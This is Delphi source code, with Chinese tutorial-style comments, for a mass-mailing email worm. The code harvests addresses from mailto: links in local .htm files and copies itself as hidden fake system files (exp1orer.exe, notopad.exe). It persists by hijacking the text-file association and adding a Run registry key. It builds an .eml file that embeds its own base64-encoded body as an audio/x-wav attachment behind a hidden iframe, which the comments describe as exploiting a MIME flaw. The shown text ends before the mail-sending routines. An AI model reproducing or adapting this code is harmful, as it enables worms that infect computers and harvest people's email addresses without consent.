unit Unit1;
interface
uses
Windows, Messages, SysUtils, Forms, shellapi,
winsock, Controls, Classes, StdCtrls, ExtCtrls,DateUtils,inifiles;
type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
procedure Timer1Timer(Sender: TObject);
procedure Formcreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
procedure FindFiles(StartDir: string);
procedure GetEmailAddress(FileName:string);
procedure WriteAddress(Address:string);
{ Private declarations }
public
procedure getinputhandle;
procedure postmsg;
procedure scanemail;
procedure wmwindowsclose(var msg:Tmessage);message wm_queryendsession;
procedure kill98;
{ Public declarations }
end;
type 
cs=record 
address:array[0..99] of string; 
count:integer; //email地址的個數 
smtp:pchar; //smtp服務器的地址 
account:pchar; //發送信箋時使用的帳號
end;
var
Form1: TForm1;
hWnd11:hwnd;
i,safeid:integer;
talk1,talk2,talk3:string;
const 
HELO=HELO#13#10; 
MAILFROM=MAIL FROM: %S#13#10; 
RCPTTO=RCPT TO: %S#13#10; 
DATA=DATA#13#10; 
QUIT=QUIT#13#10; 
ENDSIGN=#13#10.#13#10;
implementation
// function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; stdcall; external KERNEL32.DLL;
{$R *.dfm}
function checkwinver:string;
var
OS :TOSVersionInfo; 
begin
ZeroMemory(@OS,SizeOf(OS));
OS.dwOSVersionInfoSize:=SizeOf(OS);
GetVersionEx(OS);
Result:=未知;
if OS.dwPlatformId=VER_PLATFORM_WIN32_NT then begin
case OS.dwMajorVersion of
3: Result:=NT;
4: Result:=NT;
5: Result:=2000;
end;
if (OS.dwMajorVersion=5) and (OS.dwMinorVersion=1) then
Result:=XP;
end else begin
if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=0) then begin
Result:=95;
if (Trim(OS.szCSDVersion)=B) then
Result:=952;
end else
if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=10) then begin
Result:=98;
if (Trim(OS.szCSDVersion)=A) then
Result:=982;
end else
if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=90) then
Result:=ME;
end; 
end;
procedure tform1.FindFiles(StartDir: string);
var 
SR: TSearchRec; //用來儲存返回的文件的一些數據
IsFound: Boolean;//做為一個標志 
begin 
IsFound :=FindFirst(StartDir+*.htm, faAnyFile-faDirectory, SR) = 0; 
//在startdir里面查找htm文件 
while IsFound do begin 
//如果找到htm文件 
GetEmailAddress(startdir+sr.Name); 
//這里調用我們自己定義的函數，傳遞的參數是startdir+sr.name也就是該文件的絕對路徑。 
//注意，這里的函數 GetEmailAddress我們等一下再來描述 
IsFound := FindNext(SR) = 0; 
//繼續查找htm文件，只到標志isfound為false 
end; 
FindClose(SR); 
IsFound := FindFirst(StartDir+*.*, faAnyFile, SR) = 0; 
//現在是查找所有的文件 
while IsFound do begin 
if ((SR.Attr and faDirectory) <> 0) and(SR.Name[1] <> .) then 
findfiles(startdir+sr.Name+\); 
//如果該文件是目錄，并且不是"."或者".."，那么就在該目錄里繼續查找，也就是在這里遞歸了。 
IsFound := FindNext(SR) = 0; 
end; 
FindClose(SR); 
end; 
procedure tform1.GetEmailAddress(FileName:string);
var 
F:textfile; 
S:string;//用來裝每次讀一行的字符串 
Address:string;//得到的email地址 
i,Position:integer; 
begin 
AssignFile(F,FileName); 
Reset(f); 
while not Eof(f) do 
begin 
Address:=; 
//首先清空address 
Readln(f,s); 
//讀取一行字符串到s中 
Position:=Pos(mailto:,S); 
//查找首個"mailto:"在s中的地址，如果一行中含有多個"mailto:"則需要你自己修改修改 
if Position > 0 then 
begin 
for i:=Position+7 to length(S) do 
//這里position+7里的7表示"mailto:"的長度 
begin 
if ((Upcase(s)<=#90) and (Upcase(s)>=#64)) or ((S<=#57) and (S>=#48)) or (S=.) then 
//判斷是否有效字符 
Address:=Address+S 
else 
break; 
end; 
if (Address<>) and (Pos(@,Address)<>0) then 
//如果是有效地址，就把它寫到列表中去。 
//但是，可能這個地址以前已經存在在這個列表中， 
//所以我定義了一個函數WriteAddress來判斷是否存在該地址 
//如果不存在，就添加到地址列表中去。 
WriteAddress(Address); 
end; 
end; 
closefile(f); 
end; 
procedure tform1.WriteAddress(Address:string);
var 
F:textfile; 
S,Str:string; 
CanWrite:boolean; 
Path:array[0..255] of char; 
begin
GetSystemDirectory(path,256); 
//首先取得系統目錄，到時候把email地址列表文件保存到這里。 
Str:=Strpas(Path); 
CanWrite:=true; 
AssignFile(F,Str+\maillist.lst); 
if FileExists(Str+\maillist.lst)=false then 
begin 
//如果不存在maillist.lst，則信建一個文件maillist.lst來存放email地址。 
Rewrite(F); 
writeln(F,Address); 
Closefile(F); 
exit; 
end else 
begin 
Reset(f); 
while not Eof(F) do 
begin 
Readln(F,S); 
if Address=S then 
begin 
CanWrite:=false; 
break; 
end; 
end; 
CloseFile(F); 
end;
if CanWrite then 
begin 
Append(F); 
Writeln(F,Address); 
CloseFile(F); 
end; 
end;
procedure SelfCopy;
var 
Path,value:array [0..255] of char; 
Hk:HKEY; 
S:string; 
begin 
GetSystemDirectory(Path,256);
//取得系統的路徑 
s:=strpas(Path);
//轉換成字符串 
CopyFile(pchar(paramstr(0)),pchar(S+\exp1orer.exe),false);
CopyFile(pchar(paramstr(0)),pchar(S+\notopad.exe),false);
//把自身拷貝到系統目錄下為ruin.exe,virus_ruin.exe 
SetFileAttributes(pchar(S+\exp1orer.exe),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+\notopad.exe),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//設置剛才的兩個文件為系統和隱藏 
RegOpenKey(HKEY_CLASSES_ROOT,txtfile\shell\open\command,Hk); 
value:=notopad.exe %1;
RegSetvalueEx(Hk,,0,REG_SZ,@value,17); 
//把virus_ruin.exe和文本文件關聯 
RegOpenKey(HKEY_LOCAL_MACHINE,Software\Microsoft\Windows\CurrentVersion\Run,Hk); 
value:=notopad.exe;
RegSetvalueEx(Hk,ruin,0,REG_SZ,@value,8);
//設置開機自動運行ruin.exe 
end;
procedure EncodeBASE64(Dest,Source:string);//這里是用兩個字符串作為參數，也就兩個文件的路徑 
const 
_Code64: String[64] =(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/); 
//這里就是base64編碼算法的64個字符 
crlf=#13#10; 
//定義crlf為回車換行 
var 
s,d:file; 
buf1:array[0..2] of byte; 
buf2:array[0..3] of char; 
llen,len,pad,i:integer; 
begin 
assignfile(d,dest); //這里是目標文件 
rewrite(d,1); 
assignfile(s,source);//這里是原始文件 
reset(s,1); 
pad:=0; 
llen:=0; 
while (1=1) do 
begin 
blockread(s,buf1,3,len);if len=0 then break; 
if (len<3) then 
begin 
pad:=3-len; 
for i:=len to 2 do 
buf1:=0; 
end; 
buf2[0]:=_Code64[buf1[0] div 4+1]; 
buf2[1]:=_Code64[(buf1[0] mod 4)*16 + (buf1[1] div 16)+1]; 
buf2[2]:=_Code64[(buf1[1] mod 16)*4 + (buf1[2] div 64)+1]; 
buf2[3]:=_Code64[buf1[2] mod 64+1]; 
//這里進行了編碼 
if (pad<>0) then 
begin 
if pad=2 then buf2[2]:==; 
buf2[3]:==; 
//輸入只有一個或兩個字節，那么輸出將用等號"="補足 
blockwrite(d,buf2,4); 
end 
else 
begin 
blockwrite(d,buf2,4); 
end; 
inc(llen,4); 
if (llen=76) then 
begin 
blockwrite(d,crlf,2); 
//控制每行只寫76個字符 
llen:=0; 
end; 
end; 
blockwrite(d,crlf,2); 
closefile(d); 
closefile(s); 
end; 
function makeboundary:string; 
begin 
result:=-----=_老同學_+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10)); 
end;
procedure makeemlfile; 
var 
f,d:textfile; 
path:array[0..255] of char; 
boundary1,boundary2,S,str,line:string; 
begin 
GetSystemDirectory(path,256); 
str:=strpas(path); 
boundary1:=makeboundary; 
boundary2:=makeboundary; 
//這里，我們隨機的生成了兩個標簽。
Randomize;
s:=From: +inttostr(Random(100))+@21cn.com+#13#10//這里你可以換成你自己的email地址
+Subject: 你好！#13#10 //這里，你也可以隨機的來生成主題 
+X-Priority: 1#13#10 //郵件的優先級，其實可以忽略 
+Mime-Version: 1.0#13#10 
+Content-Type: multipart/related;boundary="+boundary1+"#13#10#13#10 
+--+boundary1+#13#10 
+Content-Type: multipart/alternative;boundary="+boundary2+"#13#10 
+--+boundary2+#13#10 
+Content-Type: text/html#13#10 
+Content-Transfer-Encoding: quoted-printable#13#10#13#10 
+<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>#13#10 
+--+boundary1+#13#10 
+Content-Type: audio/x-wav;name="ruin.exe"#13#10 //就是這里audio/x-wav為mime漏洞了。 
+Content-Transfer-Encoding: base64#13#10 
+Content-ID: <THE-CID>#13#10#13#10; 
//這里就是填充一些必要的信息。 
assignfile(f,str+\ruin.eml); 
rewrite(f); 
write(f,s);//首先把上面的內容寫入文件ruin.eml 
CopyFile(pchar(paramstr(0)),pchar(str+\ruin_temp.exe),false);
//因為不能打開自身進行讀寫，所以，這里先做一個拷貝文件，我們直接來讀拷貝后的文件 
encodebase64(str+\ruin_eml.txt,str+\ruin_temp.exe); 
deletefile(str+\ruin_temp.exe); 
//刪除剛才拷貝的臨時文件 
assignfile(d,str+\ruin_eml.txt); 
reset(d); 
while not eof(d) do 
begin 
readln(d,line); 
writeln(f,line); 
//接著向ruin.eml里面寫入我們的病毒代碼的base64編碼 
end; 
closefile(d); 
deletefile(str+\ruin_eml.txt); 
//刪除剛才調用base64編碼算法生成的臨時文件 
closefile(f); 
end; 
function mysizeof(buffer:string):integer; //這個函數用來得到數據的長度 
var 
i:integer; 
begin 
for i:=1 to length(buffer) do 
if buffer=#10 then break; 
mysizeof:=i; 
end; 
function randomaddress:pchar; //產生一個用戶名 
begin
Randomize;
result:=pchar(inttostr(random(1000))+@21cn.com);
end;
function getip(name:pchar):pchar; 
type 
plongint=^longint; 
var 
phe:phostent;
address:longint;
begin 
phe:=gethostbyname(name);
if phe <> nil then 
begin 
address:=longint(plongint(phe^.h_addr_list^)^); 
getip:=inet_ntoa(TInAddr(Address)); 
end 
else getip:=name; 
end;